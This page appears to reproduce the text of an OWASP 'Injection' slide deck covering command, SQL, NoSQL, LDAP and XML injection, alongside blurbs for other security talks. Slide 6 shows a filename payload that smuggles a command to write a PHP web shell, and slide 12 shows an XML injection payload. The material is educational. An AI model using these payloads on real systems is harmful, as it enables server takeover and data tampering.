OWASP A1 - Injection | The art of manipulation
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OWASP 2013 Top 10. A1 Injection. Remote Code Execution, SQL Injection, No-SQL Injection, XML Injection
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Visit our blog https://www.designveloper.com/blog
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point to attackers; enrich the data past basic file/tool hashes to identify malicious command and control IPs/domains through automated binary analysis using open-source sandboxes and tools; and use passive DNS data to identify active infections and enrich existing data sets. Attendees will learn how to apply these three techniques to hunt for adversaries within their own
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Andrew Morris, Threat Researcher, Endgame
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This document summarizes a presentation about simplifying secure code reviews. It discusses defining an effective security code review process, including reconnaissance, threat modeling, automation, manual review, confirmation, and reporting. It also discusses using the OWASP Top 10 list to focus code reviews, and defining trust boundaries to identify areas of code to review for specific vulnerabilities. The goal is to introduce a simplified process that can help development teams integrate security code reviews into their workflow.
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It is not enough to have fast, automated code deployment. We also need some level of assurance the code being deployed is stable and secure. Static analysis tools that operate on source code can be an efficient and reliable method for ensuring properties about the code - such as meeting basic security requirements. Automated static analysis security tools help prevent vulnerabilities from ever reaching production, while avoiding slow, fallible manual code reviews.
This talk will cover the benefits of static analysis and strategies for integrating tools with the development workflow.
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- Tools for static analysis include file hashing, string extraction, and PE header examination. Dynamic analysis tools monitor the registry, file system, processes, and network traffic created by malware runtime behavior. These include Process Monitor, Wireshark, Process Explorer, and network sniffers.
- To safely conduct malware analysis, one should create an isolated virtual lab separated from production networks, and install behavioral monitoring and code analysis tools like OllyDbg, Process Monitor, and Wiresh
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This document summarizes how to track threat actors on a budget by setting up honeypots to monitor attacks. It describes tracking a group in China that spreads malware via SSH passwords. Samples of the group's malware were analyzed, revealing DNS servers and routers as targets for DDoS attacks. The communication protocol was reversed to identify targets in real-time. This provided insights into the group's operations and infrastructure to block.
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Due to the recent, well-publicized events involving celebrities and their private photos, the phrase “brute-force attack” has become the web’s newest buzzword. As an IT professional, it’s vital that you detect brute force attacks as quickly as possible so you can shut them down before the damage is done. Join us for a live demo, where we’ll demonstrate a brute force attack (simulated, of course!) and show how AlienVault USM can help you detect an (attempted) intruder and investigate the attack.
You'll learn:
How attackers can use brute force attacks to gain access to your network
Measures you can take to better secure your environment and prevent these attacks
How AlienVault USM alerts you immediately of brute force attack attempts, giving you valuable time to shut it down
How to use AlienVault USM to investigate an attack and identify compromised assets
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BSides Boston and RI 2013
Video (BSides RI: http://www.irongeek.com/i.php?page=videos/bsidesri2013/2-0-booting-the-booters-stressing-the-stressors-allison-nixon-and-brandon-levene)
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3. Analysis showed links between the Destover malware and previous North Korean developed malware, indicating North Korean involvement in the Sony attack.
4. Other notable threats and attacks in 2014 included Cryptolocker ransomware, Shellshock and Heartbleed exploits, and POS malware like BlackPOS and Backoff targeting retailers.
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OWASP A1 - Injection | The art of manipulation
- 1. OWASP A1 – Injection The art of manipulation pavanw3b
- 2. $ whoami • Pavan aka pavanw3b • Security Engineer at • Null Hyd Core • Love hunting bugs • Got lucky with • www.pavanw3b.com
- 3. Injections – the worst ever! • Mar’08 – Heartland Payment System - 134m CC exposed • Oct’13 – $ 100,000 stolen from a California ISP • 2007 -2012: A group of hackers stole $300m from 10+ companies • 2014 – Shellshock: Remote Code Execution • 2015 – Microsoft RDP Remote Code Execution and many many other..
- 4. Good vs Bad • Corporate Pentester Give one week time and ask to find all the vulnerabilities. • Attacker Give sufficient time to find any one vulnerability to get in.
- 5. When data become commands Vayu, you are free to go!Applicant Name : Criminal Registration Form Calling Vayu, you are free to go! data=commands
- 6. The dumb server What file do you want to delete? my_message.txt; echo ‘<?php system($_GET[“cmd”]); ?>’ > shell.php ?file_name=
- 7. Types of Injection 1. Command Injection 2. Database Injection o SQL o NoSQL 3. LDAP 4. XML Injection
- 8. 1. Remote Code Execution • User controlled data go into part of system commands. • Post Exploitation: Privilege Escalation. • Backdoor.
- 9. 2.1 SQL Injection • Perform (any) unauthorized database transaction. • Dump, drop, alter & many more. • Backdoor.
- 10. 2.2 NoSQL - No Injection?
- 11. 3. LDAP Injection Try ( | & * and other special chars to see errors
- 12. 4. XML Injection • Attribute, Value, CDATA • XXE, XSLT, XPath <catalog> <book id=“101”> <author>Pavan</author> <title>Dark w3b</title> <price>INR 200</price> </book> </catalog> 102”><author>vayu</author><title>A treat</title><price>FREE</price></book ><book id=“ <catalog> <book id=“102”> <author>vayu</author> <title>A treat</title> <price>FREE</price> </book> <book id=“101”> <author>Pavan</author> <title>Dark w3b</title> <price>INR 200</price> </book> </catalog> Payload Result
- 13. Some Credits • https://www.owasp.org • http://www.slideshare.net/m1ke/owasp-a1-injection • Rahul Sasi: http://www.slideshare.net/_c0c0n_/webapp- remote-code-execution-via-scripting-engines • Amol Naik: http://www.slideshare.net/AMolNAik3/xml-xpath- injections • The Hacker News • CIO
- 14. Questions? Will be answered in the humla session Thanks /pavanw3b
Editor's Notes
- 3. http://thehackernews.com/2014/05/russian-hacker-charged-in-biggest-us.html
- \commands =